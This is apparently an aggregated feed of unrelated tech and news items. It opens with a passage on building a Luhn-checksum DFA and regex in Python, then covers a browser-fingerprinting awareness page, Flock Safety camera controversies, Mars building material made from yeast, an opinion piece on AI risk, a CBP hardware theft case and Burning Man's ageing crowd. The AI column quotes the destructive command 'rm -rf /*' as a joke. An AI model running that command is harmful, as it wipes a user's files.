First we note that a priori , the DFA can not know the parity of the string. But that’s ok! It just means we need to encode handling both even and odd length strings into the states of our DFA. The transition function must somehow ‘update’ the parity as the DFA consumes each digit. It might actually be easier to motivate the form of the transition function of the DFA at the cost of a more roundabout construction. Since we don’t know whether the string is even or odd at the start, we could traverse along an NFA that traces both even and odd paths together using epsilon transitions. And any NFA can be converted into a DFA!

This motivates the following state construction. We can define two DFAs that recognise the Luhn algorithm: one that recognises the language of even-length strings, and another for the language of odd-length strings. Since regular languages are closed under union, we can then combine these two DFAs into a single DFA. The union construction involves taking the product of each state set and creating a tuple representing the union-state.

The second observation is that modular arithmetic distributes nicely with addition. This means we can compute a running partial Luhn-sum modulo 10 along our transitions without worrying about the final answer being invalid.

Let’s formalise the above now. The following will get a bit mathematically involved - feel free to skip ahead to the final construction and accompanying code if you’d prefer.

Let the alphabet $\Sigma = \texttt{[0-9]}$ be the set of base-10 digits and the state set $\mathcal{S} = (E, O) = \texttt{[0-9]} \times \texttt{[0-9]}$ represent the partial Luhn-sum modulo 10 for even and odd-length strings, respectively.

We start our DFA from $s_0 = (0, 0)$ and accept any state $\{(E, O) \in \mathcal{S} \mid E = 0 \}$. To track our alternating partial Luhn sum as we alternate between string-length parities, we define the transition function $\delta: \mathcal{S}\times\Sigma \to\mathcal{S}$ from a current state and new digit $d$ to the next state as follows:

$$ \boxed{ \delta((E, O), d) = ((O+d) \bmod 10, \, (E + \ell(d)) \bmod 10) } $$

where $\ell$ is the Luhn double function as defined above. Note that the $E$ and $O$ partial sums swap between the pair in each transition!

To intuit why this works, notice that the transitions are computed ahead-of-time . We are defining the computation, and baking it into the DFA as a sort of computational graph. I think this is a wonderfully powerful notion - it demonstrates that a blind automaton or a very busy beaver can perform non-trivial (but not arbitrary! Dam(n), Busy Beavers can’t do everything ) computations by simply following a rulebook of “if in state X and next symbol is Y then go to state Z ”. After all, isn’t that exactly what a computer is? There’s something profound about seeing the correspondence between mathematics and computer science at such a deep level.

In Python, we can define the DFA succinctly as:

python
def luhn_dfa(number: int) -> bool:
    word: list[int] = [int(d) for d in str(number)]

    def transition(state: tuple[int, int], d: int) -> tuple[int, int]:
        (E, O) = state
        return ((O + d) % 10, (E + luhn_double(d)) % 10)
    
    state = (0, 0)
    for d in word:
        state = transition(state, d)
    return state[0] == 0

So there we have it! A DFA with 100 states and 1000 transitions that recognises the language of valid Luhn checkdigit words!

# How do we build the regex for this DFA?

I’ve somewhat buried the lede here. You probably clicked here expecting to see some giant regex you could copy-paste into a PII scanner and be off. After all, converting between a DFA that recognises a language and a regular expression that matches all words in the same language is mathematically assured. And we’ve constructed the DFA! Unfortunately, conversion procedures between a DFA and the corresponding regex often lead to an exponential combinatorial explosion.

Now, an earlier version of this post didn’t think that this conversion would be computationally tractable. But, I wasn’t done tilting at windmills! After a email and code exchange with the wonderfully helpful Alok Menghrajani , who pointed me to the regular expression manipulation library greenery , I have a regex!

Or, more correctly, the following code defines a DFA for both even and odd-length Luhn-valid strings Of course, once you have both regexes, you can union them together with | for a single regex. , and uses greenery ’s implementation of the Brzozowski algebraic method to convert the DFA to a regex.

For the intrepid explorer who’s made it this far, be warned that the resulting regex pairs are enormous . It takes ~20 minutes per even/odd expression computation on my M1 Air, and the resulting regexes are 32,461,605 , 48,236,673 characters long, respectively.

python
# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "greenery",
# ]
# ///

import time
from pathlib import Path

import greenery


def build_luhn_dfa(parity: int) -> greenery.fsm.Fsm:
    def luhn_double(d: int) -> int:
        return 2 * d if 2 * d < 10 else 2 * d - 9

    digits = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}
    non_digits = ~greenery.Charclass((('0', '9'),))
    alphabet = {greenery.Charclass(c) for c in digits}
    states = range(0, 2 * 10)
    initial = 0 if parity else 10
    finals = {10}

    transition_map = {}
    for from_state in states:
        state_transition = {}
        for c in digits:
            d = int(c)
            next_state = -1
            if from_state < 10:
                next_state = (d + from_state) % 10 + 10
            else:
                next_state = (luhn_double(d) + from_state - 10) % 10
            state_transition[greenery.Charclass(c)] = next_state
        state_transition[non_digits] = 0
        transition_map[from_state] = state_transition

    return greenery.fsm.Fsm(
        alphabet=alphabet | {non_digits},
        states=states,
        initial=initial,
        finals=finals,
        map=transition_map,
    )


if __name__ == "__main__":
    # Even-length strings
    print('== Even-length Luhn strings ==')
    luhn_dfa_even = build_luhn_dfa(0)
    print(luhn_dfa_even)

    # Build and save regex
    start = time.time()
    regex_even: greenery.Pattern = greenery.rxelems.from_fsm(luhn_dfa_even)
    print(f'Built regex for decimal even-length strings in {time.time() - start:.1f}s')
    regex_str_even = str(regex_even)
    print(f'{len(regex_str_even)=} with {regex_str_even[:100]=}')
    Path('luhn-regex-even.txt').write_text(regex_str_even)

    # Odd-length strings
    print('== Odd-length Luhn strings ==')
    luhn_dfa_odd = build_luhn_dfa(1)
    print(luhn_dfa_odd)

    # Build and save regex
    start = time.time()
    regex_odd: greenery.Pattern = greenery.rxelems.from_fsm(luhn_dfa_odd)
    print(f'Built regex for decimal odd-length strings in {time.time() - start:.1f}s')
    regex_str_odd = str(regex_odd)
    print(f'{len(regex_str_odd)=} with {regex_str_odd[:100]=}')
    Path('luhn-regex-odd.txt').write_text(regex_str_odd)

In case you’re wondering, is this actually executable by any regex engine? I’m delighted to report that it sure is! Attempting to run it with grep or ripgrep results in the process being killed from memory exhaustion. But Python’s re module can handle it just fine!

In some sense, DFAs can be more compact for problems like these as they can store arithmetic state within their states and transitions. Regular expressions don’t permit arbitrary transitions in the same way - though the two are equally powerful in expressiveness, in the formal sense.

# What’s next?

  1. I’ll update this post with a DOT graph visualisation of this DFA (once I can figure out how to get Graphviz to layout the transitions nicely)
  2. I’ll add in a sketch of a proof by induction that the DFA is indeed correct
  3. We’ll sketch out or prove why this DFA is minimal
  4. Add some Haskell code too for no reason other than Haskell is clean and beautiful
  5. Probably fix some typos since I’m sure I’ve made a bunch of mistakes..
  6. Add in some walked examples to illustrate the execution of the DFA (and hopefully link to Automatarium for a live example!)
  7. Are there ways to quantify bounds on the size of regexes and DFAs for languages? Is there a theory of Lexical density for formal languages in the Chomsky hierarchy?

Any errors are entirely my own - if you notice any mistakes, think of any interesting insights, or just want to chat, please reach out!

Session Context — what a web page knows about you

Lobsters
sessioncontext.org
2026-09-13 09:36:10
Comments...
Original Article

In plain English

What this page worked out about you, in the order it matters. Every statement expands to the exact values it came from.

Collecting

None of this asks your permission. The findings appear as soon as the last pass lands.

  • Reading the browser, screen and document

  • Storage, network, devices and permissions

  • Fingerprinting graphics, audio and performance

  • Reducing it all to one identifier

Try it yourself

One measurement needs your participation. The result appears in place, below the box.

Type one sentence

no permission needed

Type the sentence below. This page measures the rhythm, not the words, then saves the pattern — type it a second time and it will say whether the same person is at the keyboard.

t h e q u i c k b r o w n f o x j u m p s o v e r t h e l a z y d o g

0 / 43 characters 100 % accurate 0 wpm

Everything above this point needed no permission.

Not one prompt was shown, and nothing you did granted consent. These are the capabilities that do ask first. Each one says what it would reveal, and what this page has already worked out without it — press one to see the distance between those two.

  • Precise location

    never asked

    Where you are, to within a few meters — a building, not a city — from satellite, nearby wi-fi networks and cell towers. How it works →

    Nothing on this page could work this out without asking.

  • Camera and microphone

    never asked

    The model name of every recording device attached to your machine, plus identifiers for them that stay the same every time you come back. How it works →

    Nothing on this page could work this out without asking.

  • Clipboard contents

    never asked

    Whatever you last copied, in full — frequently a password, an address or a private message. How it works →

    Nothing on this page could work this out without asking.

  • Every attached display

    never asked

    Each monitor you have plugged in: its resolution, its manufacturer label, and where it sits relative to the others on your desk. How it works →

    Nothing on this page could work this out without asking.

  • Installed fonts

    never asked

    Every typeface on your system, straight from the operating system — the software you own, spelled out. How it works →

    Nothing on this page could work this out without asking.

  • Idle and lock state

    never asked

    Whether you are sitting at your keyboard and whether your screen is locked — continuously, in the background, long after you stop looking at this page. How it works →

    Known already, without asking: Whether this tab has focus, and the clicks and keystrokes inside it — only while you are actually here.

  • Motion sensors

    never asked

    Accelerometer and gyroscope readings, whose tiny manufacturing imperfections identify your individual handset. How it works →

    Nothing on this page could work this out without asking.

The rest of this page reads your browser. This one reaches past it.

  • Installed desktop applications

    never asked

    Which desktop applications you have installed — software you never told any website about. How it works →

    Nothing on this page could work this out without asking.

Granting outlives this tab.

Nothing has been granted here. A permission you approve is remembered for this site, and this page cannot hand it back: permissions.revoke() was removed from browsers years ago and never replaced. Only your browser can undo it — the icon at the left of the address bar, then site settings. The same is true of every other site you have ever said yes to.

Every detail, as collected

The findings above are derived from these 4 tables. Field names carry a definition where one helps; anything your browser withheld is grayed out.

Your browser sends all of this by itself, on every request, whether or not the page contains a single line of JavaScript. Blocking scripts does not stop it.

What your browser volunteered

Client Hints Received

1 reported

This server sends Accept-CH and Critical-CH asking for high-entropy hints — processor architecture, exact browser build, device model, color-scheme preference. The browser then volunteers them on every subsequent request, no script required.

Client Hints Received
Field Value
no client hints received reload once — the browser must see the server's Accept-CH before it sends them

The network connection underneath

Connection & Protocol

11 reported

Facts read from the TCP socket, below the HTTP layer. This deployment sits behind a hosting proxy, so the socket here belongs to that proxy and the headers have been re-emitted by it: the ordering below is the proxy's, not your browser's. Run the site directly, with no proxy in front, and this section reports your browser's own header order — a passive fingerprint that survives user-agent spoofing.

Connection & Protocol
Field Value
HTTP version 1.1 proxy to server; your browser likely negotiated HTTP/2 or /3 at the edge
transport no (plain HTTP) the proxy terminated TLS; your connection to it was encrypted
remote address ::ffff:100.64.0.21 the proxy's address, not yours
remote port 62880 the proxy's port
address family IPv6
local (server) address ::ffff:10.240.21.165:8080
requests on this TCP connection 5 keep-alive reuse
bytes read on socket 4163
header count 11
raw header order Host, User-Agent, Accept, Accept-Encoding, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto, X-Railway-Edge, X-Railway-Request-Id, X-Real-Ip, X-Request-Start re-emitted by the proxy — not your browser's own order
request line GET /
Server-Derived Context

18 reported · 10 not

What the server infers from the request alone. No external lookup is performed: no IP-geolocation service, no analytics endpoint, no third party of any kind. None of these values is recorded — the two that are, the ETag and the CSS probe, say so in their own tables.

Server-Derived Context
Field Value
client IP (x-forwarded-for) 204.19.241.158 your real address, forwarded by the proxy
proxy chain 204.19.241.158, 152.233.29.2
x-real-ip 204.19.241.158
Host requested sessioncontext.org
User-Agent node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
UA length 54 reduced-UA is about 110 characters
Accept */*
Accept-Encoding gzip,deflate compression support
Accept-Language (raw) not reported
preferred language not reported
language count not reported ranked list, high entropy
DNT header not sent
Sec-GPC header not sent
Sec-Fetch-Site not reported
Sec-Fetch-Mode not reported
Sec-Fetch-Dest not reported
Sec-Fetch-User not reported
Referer none — direct navigation
Upgrade-Insecure-Requests not reported
Priority not reported
cookies sent 0
cookie names none
cookie bytes 0
server time (UTC) 2026-09-13T16:06:11.234Z
server epoch ms 1789315571230 compare against your own clock
server uptime 328.3 s
server timezone UTC
runtime Node v22.23.2 · linux/x64

Whether this site can pick you out of a crowd and know you are the same person who visited before — without you logging in, and without relying on cookies.

Cross-site tracking

Preparing the third-party frame…

Flock worker calls police on reporter filming public camera installation

Hacker News
www.investigatetv.com
2026-09-13 09:35:31
Comments...
Original Article

MILTON, Georgia ( InvestigateTV ) — Flock Safety has felt the heat this summer from coast to coast as criticism of its automated license plate readers and AI-powered security technology has increased, and a growing number of alleged misuse cases have further turned up the temperature on the debate.

The company announced changes it said address the heart of the majority’s concern — privacy — but civil rights activists and many community leaders remain unconvinced.

Numerous communities have canceled their contracts with Flock in recent weeks, and lawmakers at all levels of government have discussed or already implemented outright bans on ALPR technology in response to public pressure.

However, there are many places where local law enforcement’s relationship with Flock and its network of roughly 120,000 license plate readers have continued or been reaffirmed, with the company telling one trade publication its growth has outpaced cancellations 10-to-1.

That means new devices continue to appear as jurisdictions add to their inventory or upgrade their equipment — including one that was being installed on Aug. 19 on a suburban street outside of Atlanta, not far from the home of InvestigateTV’s Brendan Keefe.

In mid August, this Flock Safety camera in suburban Atlanta, not far from the home of...

In mid August, this Flock Safety camera in suburban Atlanta, not far from the home of InvestigateTV/Atlanta News First investigative reporter Brendan Keefe, was being updated by a worker who called 911 after Keefe attempted to get video. (Brendan Keefe, InvestigateTV)

Three police cars ended up in the national investigative reporter’s rearview mirror that Wednesday afternoon after he tried to film the technician installing an upgraded camera on a public street, shown in his video story at the top of this story.

The stop is one of at least two documented cases this year in which those working for Flock Safety called police on people engaging in the same category of public recording into which the company asserts its technology fits.

Police stop InvestigateTV in Milton, Georgia

After a family member spotted the Flock camera being worked on Keefe drove to the location to document the camera being set up.

Keefe parked on the public street at a distance, donned a yellow safety vest and a hat emblazoned with the logo of InvestigateTV’s Atlanta affiliate where he also works, displayed a press placard on his dashboard and then pulled out a camera to record the installation.

As Keefe began to shoot video, the installer saw him and immediately packed up his equipment and drove away, so Keefe also returned to his car and followed several cars behind, hoping to document the next stop.

The technician called 911.

The call was initially answered by Forsyth County before being transferred to a neighboring jurisdiction. InvestigateTV obtained recordings of both calls though public records requests.

“I work with Flock Safety. And I called originally because I’m getting followed,” the installer can be heard telling a dispatcher after being transferred. “I was getting harassed, pretty much. Taking videos and pictures. And now, the same vehicle that pulled over where I was working at has been following me.”

He described Keefe’s car and, later, Keefe himself, down to his hat and high-visibility vest.

Minutes later, after entering the town of Milton, Georgia, a police officer pulled Keefe over and was later joined by two other units.

When the officer approached, Keefe explained who he was and what he was doing.

“I’m a member of the press, and I was following at a distance because I’m documenting them putting up Flock cameras. I’m an investigative reporter,” Keefe can be heard saying on video from both his own dashboard camera and police body camera obtained from police by InvestigateTV/Atlanta News First.

Body camera footage shows that while Keefe waited on the shoulder, the officer called a supervisor to explain the situation.

“When I came up to them, he was behind him but not like right on his bumper,” the officer said as she reported the details to the supervisor. “He said that, yeah, he was following him to where he was trying to catch this person on video setting up the Flock cameras, but it was not to where you know so close as to break any laws or give the appearance he was stalking him, or anything like that. Yeah, he was following him, but he was not chasing him.”

The officer told Keefe the installer was concerned about being identified.

“He said that he did see you coming out, bringing your camera out and everything,” the officer said.

According to the officer, those given the job of installing Flock cameras have been told “told just to not engage” in such situations.

The officer said the installer was also concerned about privacy.

“And his worry more than anything is that, you know, he’s just an employee. Anybody like you and me. And now he’s going to be in the news and he doesn’t know if it’s going to be targeted at him or his family.”

Keefe asked if the officer was suggesting the installer was entitled to privacy while working in public.

“So just to be clear, he’s entitled to his privacy in a public place?” Keefe asked. “Isn’t that the whole argument that people are criticizing Flock for?”

“I’m not saying that. I’m just letting you know what he’s concerned about,” the officer said. “I’m not telling you how to interpret that.”

However, during the exchange, the officer did make a comment about press coverage.

“I know, media, you know, the First Amendment and all of that,” she said. “But also, we should probably be a little more careful on who we put on TV and stuff like that.”

About 17 minutes after the stop began, the responding officers returned to their vehicles and Keefe was allowed to drive away. In an emailed response to questions from InvestigateTV about documenting installation of Flock devices and if the company has guidance or policies surrounding how employees or contractors are instructed to respond, a spokesperson said:

“We do not object to members of the public or press photographing Flock cameras or personnel in public. Employees and contractors working in the field are expected to prioritize their safety and may contact law enforcement when they believe they are being threatened, harassed, followed, or otherwise face a safety concern.”

YouTubers questioned after filming outside distribution center

The Milton stop was not the first time this summer someone working for Flock Safety summoned police over a camera.

On June 5, police in Smyrna, Georgia, responded to a 911 call from a Flock employee after a group of YouTube creators began filming outside the company’s distribution center located in the Atlanta suburb.

In the recording of the 911 call, the caller identifies himself as a Flock Safety employee, going on to note the company’s relationship with law enforcement.

“What’s the name of the business?” the dispatcher asked.

“It’s Flock Safety. We do the license plate reading cameras that solve 20% of crime across America,” the caller replied.

“Fantastic. Of course, of course,” said the dispatcher. “And we appreciate y’all.”

“No, thank you,” the caller said in return, laughing. “We need a favor.”

The caller claimed the group filming had “been driving around the perimeter, basically harassing everyone” working at the facility.

“Three young white males, probably mid-twenties, I’m not sure if they’re armed. And they’re carrying filming equipment as well,” the caller said.

Three times during the call he raised the possibility the people filming might be armed, though, when asked, he told the dispatcher he had not seen any weapons.

When police arrived, body camera footage shows the employee was inside the building, but over the phone identified himself as James Boyce, the distribution site’s quality manager.

Boyce, holding a cell phone, said he was recording.

“Everybody’s recording,” the officer replied.

During the encounter, one of the YouTube creators confronted Boyce on how calling the police about being filmed seemed hypocritical.

“That’s what you guys do to us, without our consent,” he said. “And I think it’s interesting, when you guys have this happen, you call the police and make us get stopped. But then you do it and it’s okay?”

In their emailed statement, a Flock spokesperson claimed the trio’s encounter occurred shortly after another incident at the company’s headquarters where the spokesperson alleged individuals had claimed to have an interview with CEO Garrett Langley and attempted to gain access to the building.

“That understandably raised legitimate security concerns for our employees and our facilities. Those concerns also exist in a broader environment in which Flock employees and contractors have received threats or been subjected to violent rhetoric,” the spokesperson said, referencing social media threads and the arrest of a California man who is accused of threatening a Flock camera installer with a knife and vandalizing the installer’s vehicle.

“We fully support people expressing criticism, asking tough questions, and making their voices heard. Threats of violence, or rhetoric that encourages or celebrates violence against employees, should never be part of that discourse,” the spokesperson said.

No one was charged in the YouTuber group, though the individuals were ordered to leave the premises under an official trespass warning.

Security researcher among those stopped, calls Flock hiding personal information ‘absurd’

Benn Jordan was among those outside the warehouse and identified himself to officers as a security researcher working with the YouTube creators.

Jordan, an online and YouTube content creator himself, has been digging into a variety of privacy and security concerns across the technology spectrum for the last few years.

Months before the incident in Smyrna, Jordan spoke with InvestigateTV about his previous video report that identified encryption vulnerabilities that would allow anyone to access dozens of Flock camera feeds.

Flock said it determined the vulnerability was present in just 60 to 70 of its AI-powered video cameras and blamed an internet service provider for sending the wrong SIM cards.

Even after the encryption vulnerability was fixed, use of that type of camera certain sensitive public venues continued to draw scrutiny.

Jordan said during the interview that growing negative attention has led some within the company to take extreme measures to hide their personal information.

“That’s the most absurd part of it, is that their response to this controversy is scrubbing data as a company that literally collects data every single time you pass a camera and sends it to law enforcement,” he said.

Flock denies access to conference held for police, security professionals

The heat of growing public backlash — and above-average Georgia summer temperatures — didn’t deter Flock from rolling out the red carpet at the company’s annual law enforcement conference.

Police departments we talked with are not reducing their 30-day retention of your travel data, despite Flock's new 'default' 7-day retention. Chambers County, TX Chief Deputy Skylor Hearn is in Atlanta to ask Flock why they're recommending purging the data sooner. @InvestigateTV pic.twitter.com/v6s7ZIiUKq

— Brendan Keefe - ANF & InvestigateTV (@BrendanKeefe) August 19, 2026

Held Aug. 18-20 in Atlanta, Flock Forward 2026 was billed as a chance for public safety and security professionals to gather for “three days of real cases, practical playbooks, and peer-led conversations.”

Jordan tried to attend the conference but was ultimately turned away, as was InvestigateTV.

In a video he released following the event, Jordan detailed how his registration and hotel booking were canceled four days prior to the event.

Drone video and photos taken by InvestigateTV from an elevated public walkway that provided a view into a rooftop reception at the event showed law enforcement officers, including some wearing their badges, socializing and perusing Flock items on display.

When InvestigateTV inquired about attending in a journalistic capacity — a common practice and one that other national law enforcement events offer — a spokesperson said: “Flock Forward is a customer event and not open to the media.”

During an interview in April, InvestigateTV actually asked Flock Safety’s Chief Communications Officer Josh Thomas whether the company considers law enforcement agencies to be its customers or citizens.

“So ultimately, I would argue that the whole community is our customer,” Thomas said at the time.

But while Flock as a private company had the ability to limit documentation of its multi-day event — where promotional materials said public safety entities would be able to discuss with the company “how to prepare for city council conversations” and leave with “practical takeaways” such as “ideas for investigations, deployment, connected response, and measurable impact” — frustration continues to grow in many communities where it’s largely impossible to opt-out of Flock’s technology documenting everyday movements and examples of misuse have left people on edge.

“Why can’t I opt out? Why can’t the spouse or ex-spouse of a police officer opt out of this kind of data collection on their movements?” Keefe asked Thomas during the April interview.

“Why can’t the person opt out? It’s because if your car gets stolen, if something were to happen, moreover, the government requires you to have a license plate. It’s the law. And it’s plain view information,” Thomas said. “Your license plate is part of the plain view. And so why can’t you opt out. You can, if you want to opt out of society.”

This story was updated to include additional 911 audio obtained by InvestigateTV after initial publication.

Copyright 2026 Gray Media Group, Inc. All Rights Reserved.

Mars astronauts could live in houses made of yeast and jello, say scientists

Hacker News
www.theregister.com
2026-09-13 09:34:23
Comments...
Original Article

offbeat

Low-energy 3D printing could turn Martian dirt into sturdy structures

If humans ever make it to Mars - and that’s still a big IF - they will need to build shelters there. And they could build those shelters out of yeast and gelatin, if a method described by Hong Kong-based researchers makes it out of the lab.

A paper published on Thursday by a group of researchers from The Hong Kong University of Science and Technology and The Hong Kong Polytechnic University describes a method for building structures on Mars that doesn’t rely on energy-intensive heating to turn regolith into building blocks. The team instead turned to bioengineered yeast and gelatin mixed with simulated Mars dirt to 3D print structures.

"My inspiration came from freeze-dried fruits that become harder,” senior author Jishen Qiu, an associate professor at The Hong Kong University of Science and Technology, told Cell Press, the publisher of the paper.

Qiu’s idea is a relatively simple one once you break it down: Take one part yeast bioengineered to produce adhesive proteins that bind the components. Combine with artificial gelatin hydrosol to serve as a growth medium for the yeast. Add plain old Martian dirt, and extrude the material through a 3D-printing nozzle.

If everything works as intended, the recipe should create a foamy substance that, when exposed to the dry, cold Martian atmosphere, essentially freeze-dries. As the ice sublimates into vapor, you should be left with a light, porous, but incredibly strong material. According to the researchers, that’s exactly what they got.

“The hardened material achieved mean compressive and flexural strengths of approximately 12 and 6 MPa, respectively,” the team said. For reference, that’s roughly the same strength as low-grade terrestrial concrete. As an added perk, the team noted, the energy demand is one to two orders of magnitude lower than that of heat-processing Martian (or lunar, for that matter) dirt into building material.

According to the paper, the material can be broken down and reused too - provided at least a single yeast cell survives the process, and the cold, barren wasteland of Mars, that is. The team isn’t sure that would necessarily be the case, but nothing is stopping Martian yeast masters from keeping a supply on hand for future projects just in case.

The structures they built and tested in their simulated Martian conditions were tiny little beehive-shaped things, measuring just 45 mm tall (a little under 2 inches).

“Is there any physical law or fundamental mechanism that prevents us from doing this?" Qiu asks of his work. "I can't see any at this point in time.”

Qiu said his team is confident that it can scale the tech, but that’s not the only thing that needs to be tested more fully. Per the paper, testing the ability of the yeast-gelatin building foam to retain the pressure necessary to keep humans from succumbing to the Martian elements was outside the scope of the research.

“A practical lunar or Martian habitat must integrate pressure retention, gas tightness, mechanical support, thermal regulation, radiation shielding, dust protection, repairability, and resource recycling,” the paper notes. “These requirements will likely require hybrid architectures” that include both the yeast foam and more traditional structures.

Either way, avoiding the need to heat Martian dirt could reduce the energy and heavy equipment required to build structures there. That’ll be important if we ever actually want to get to Mars. But if we get there, at least we’ll have yeast . ®

AI models don't kill people – people kill people

Hacker News
www.theregister.com
2026-09-13 09:33:34
Comments...
Original Article

AI AND ML

AI fearmongers forget we could just jail tech execs until morale and model safety improve

OPINION Anthropic researcher Jacob Coxon publicly announced his resignation on X late Monday over concerns that AI "could kill us all by the end of the decade."

A lot of people have expressed opinions about his point of view, leading to more than 110 million views of the message in less than 24 hours, perhaps helped along by X algorithms that boost messages critical of owner Elon Musk's AI rivals, Anthropic and OpenAI.

But the real problem isn't the models themselves, but the companies who carelessly unleash them on the world and don't take any responsibility for what their products do

Coxon's former colleague, science lead Evan Hubinger, insists his view is a fair assessment of what employees really think.

"Jacob is correct here – we really do earnestly believe AI could kill all humans! I personally think it is >10 percent within the next decade," wrote Hubinger in a social media post . "I believe Anthropic is trying its best, but we do not yet have a plan to solve alignment for superintelligence and are not clearly on track to."

(Aside: If you want a surefire bet on a prediction market, take the "no." If you're right, you get paid. If you're wrong, there's no one to pay. The problem of course is prediction market manipulation : Those betting against you might steer us toward the apocalypse to score a Pyrrhic victory.)

There are good reasons to be concerned about the impact of AI. Coxon and Hubinger obviously have deep knowledge of the technology. But their broader concerns about how AI affects the world are unpersuasive.

For example, Coxon said, "These will soon be superhuman systems that can hack anything, revolutionize any field overnight, and acquire real power and resources. … No other human activity poses this level of danger."

Here's one: Human-induced climate change. In 2023, according to researchers , more than 178,000 deaths can be attributed to a global heat wave. "More than half (54.29 percent) of heatwave-related deaths were attributable to human-induced climate change," they claim.

That's 96,636 deaths attributable to human activity – or perhaps lack of it – just in the context of a heat wave.

The World Health Organization says , "Between 2030 and 2050, climate change is expected to cause approximately 250,000 additional deaths per year, from undernutrition, malaria, diarrhoea and heat stress alone." Some portion of that follows from human activity, perhaps including the construction of data centers that put millions of metric tons of carbon dioxide into the atmosphere annually.

Commercial AI chatbots have allegedly played a role in a few dozen deaths , some of which were suicides – a small fraction of the 48,824 suicide deaths in 2024, per the CDC .

Broad categories where AI is presumably doing measurable harm include warfare (e.g. AI-directed drones), AI-related medical errors, AI vision system failures in self-driving cars, and AI-driven social media – algorithmic incitement that can drive violence or shape policies that lead to conflict or death via global healthcare funding cuts .

At the same time, some of that harm may be balanced on a statistical level by lives saved through AI tech.

But Anthropic researchers don't seem to have much to say about these very real and present dangers – rather, their main concern is that AI models might become smarter than humans through reinforcement learning and somehow seize power and wipe out humanity.

"I think the risk from present models is low," said Hubinger. "What I am worried about is superintelligence arising from recursive self-improvement, as we have said is happening faster than we thought."

How this might happen is left to the imagination. But assuming for a moment that it's a plausible possibility, the Skynet scenario would require monumental human stupidity alongside the emergence of superintelligence.

And human stupidity is worth worrying about.

Incidents like the hacking of Hugging Face by OpenAI's evaluation models would not be possible without human irresponsibility and a regulatory environment that accommodates recklessness. Autopilot for cars? Neat. Try not to kill anyone. Letting AI bots roam the internet and take arbitrary action? Cool. Let's see what happens. We'll deal with accountability later.

To mitigate AI risk, society could pass laws to put executives in jail when their models do harm. There is precedent: Oliver Schmidt, general manager of Volkswagen's environmental and engineering office in Michigan, received a seven-year prison sentence for his role in the car maker's effort to manipulate emissions tests .

Selling unsafe airbags merits criminal prosecution , even if the execs paid fines instead of doing time . Selling unsafe dehumidifiers earned the execs behind Gree USA, Inc. jail sentences of more than four years . If AI models really are as dangerous and out of control as Anthropic employees suggest, hold people accountable for the harm they cause.

The AI industry might argue that imprisoning execs for shipping unsafe models would mean no AI models get released. And that would be the point: AI companies would be responsible for model safety.

I'm personally hoping to see this billboard copy along US 101 in Silicon Valley: "Did Claude rm -rf /* your SSD? You may be entitled to compensation." ®

US Customs supervisor busted for stealing hardware from Homeland Security PCs

Hacker News
www.tomshardware.com
2026-09-13 09:24:28
Comments...
Original Article
Inside of a PC
(Image credit: Getty Images)

According to a report from The Maine Wire , the FBI has arrested and charged Terry “Jiajia” Liu, a Customs and Border Protection supervisor based in Calais, Maine, for theft and damage to government property. Liu allegedly stole computer hardware, including Intel 14th Generation Raptor Lake Refresh processors, memory modules, and hard drives, from at least 46 Department of Homeland Security computers across three Maine border facilities. They replaced the stolen parts with inferior hardware and exchanged the stolen equipment through Newegg’s trade-in program for store credit.

Go deeper with TH Premium: CPU

Liu’s official responsibilities were limited to information-technology support, so they did not have access to modify any government computer. Port Director Theodore Cummings made the restriction abundantly clear to Liu in a written order: “Please do not move any computers or computer parts.” However, criminals rarely listen.

Hidden surveillance cameras captured Liu opening government computers and swapping hardware during the midnight shift. The perpetrator would take the systems to a training room to commit the crime. One camera recording showed Liu using a screwdriver to scrape thermal paste off a processor and installing a replacement chip in one system. Meanwhile, another recording caught Liu removing a memory module from a system and storing it in their desk drawer.

According to the affidavit, investigators found that thirty-nine computers had their processors replaced, six machines with memory modules swapped, and eight had hard drive changes. The original systems used Raptor Lake Refresh chips but were later discovered to have older hardware, sometimes downgraded to Pentium chips. Beyond the processor swap, other computers had less memory and storage capacity than their original configurations.

Instead of trying to sell the stolen hardware on the open second-hand market, Liu used a less conspicuous approach: Newegg’s Trade-In program. According to investigators, Liu sent 13 emails between a personal account and an official CBP email address containing shipping labels and trade-in receipts for processor models matching the missing components from the government computers.

The Newegg trade-in offers varied between $200 and $210 per processor. According to the transaction records from the U.S. retailer, Liu traded in Core i7 Raptor Lake Refresh chips 16 times over 14 months, from May 2025 to July 2026. Investigators also found three $200 credits from Newegg in Liu's American Express records.

During an interview, Liu confessed to replacing hardware in the government computers with lower-performing parts bought on Amazon and Newegg. They also acknowledged submitting the government-owned parts to Newegg's Trade-In program. At first, Liu claimed their actions were motivated by a desire to improve the computers' performance and how long computer repairs took. However, they later admitted that the changes resulted in degraded performance.

Get Tom's Hardware's best news and in-depth reviews, straight to your inbox.

Restoring the stolen hardware could cost about $20,460, while fully replacing all 46 compromised computers with equivalent hardware would cost an estimated $105,800. However, additional labor to configure each system for government use will drive the bill even higher.

Google Preferred Source

Follow Tom's Hardware on Google News , or add us as a preferred source , to get our latest news, analysis, & reviews in your feeds.

Zhiye Liu is a news editor, memory reviewer, and SSD tester at Tom’s Hardware. Although he loves everything that’s hardware, he has a soft spot for CPUs, GPUs, and RAM.

The Esdac Film (1951, 1976)

Lobsters
www.youtube.com
2026-09-13 09:20:01
Comments...

Burning Man at 40: the once anarchic desert festival faces a midlife crisis

Guardian
www.theguardian.com
2026-09-13 09:00:04
The subversive bacchanal for San Francisco’s eccentric underground is ageing out amid an influx of the super-rich Burning Man, the infamous arts festival in the Nevada desert, turned 40 this year, and it’s showing some distinct signs of middle age. It’s not just the tech billionaires who show up to ...
Original Article

Burning Man , the infamous arts festival in the Nevada desert, turned 40 this year, and it’s showing some distinct signs of middle age.

It’s not just the tech billionaires who show up to party, the chartered flights straight to the desert or the HBO documentary about behind-the-scenes power struggles . The tens of thousands of people who assemble each year to create a tent city in the wilderness appear to be growing older, and it doesn’t seem that they’re being replaced by as many younger “burners”, as festival participants are called.

People in their 20s used to make up nearly a third of the participants in this utopian experiment, in which volunteers build a new version of Black Rock City in the desert each year, party nonstop for a week and then burn much of the art they have created, including a massive effigy of the “Man.”

Since the festival paused for two years during the pandemic, the number of attenders in their 20s has dropped sharply, falling to only 10% in 2025, according to estimates from the Black Rock City census , an annual participant survey that has been conducted in different forms since 2002. Meanwhile, the share of attenders in their 40 and 50s grew to nearly 42% last year. While data for 2026 is not yet available, the “preliminary 2026 census data suggest a slightly younger age profile than in 2025”, the organization said.

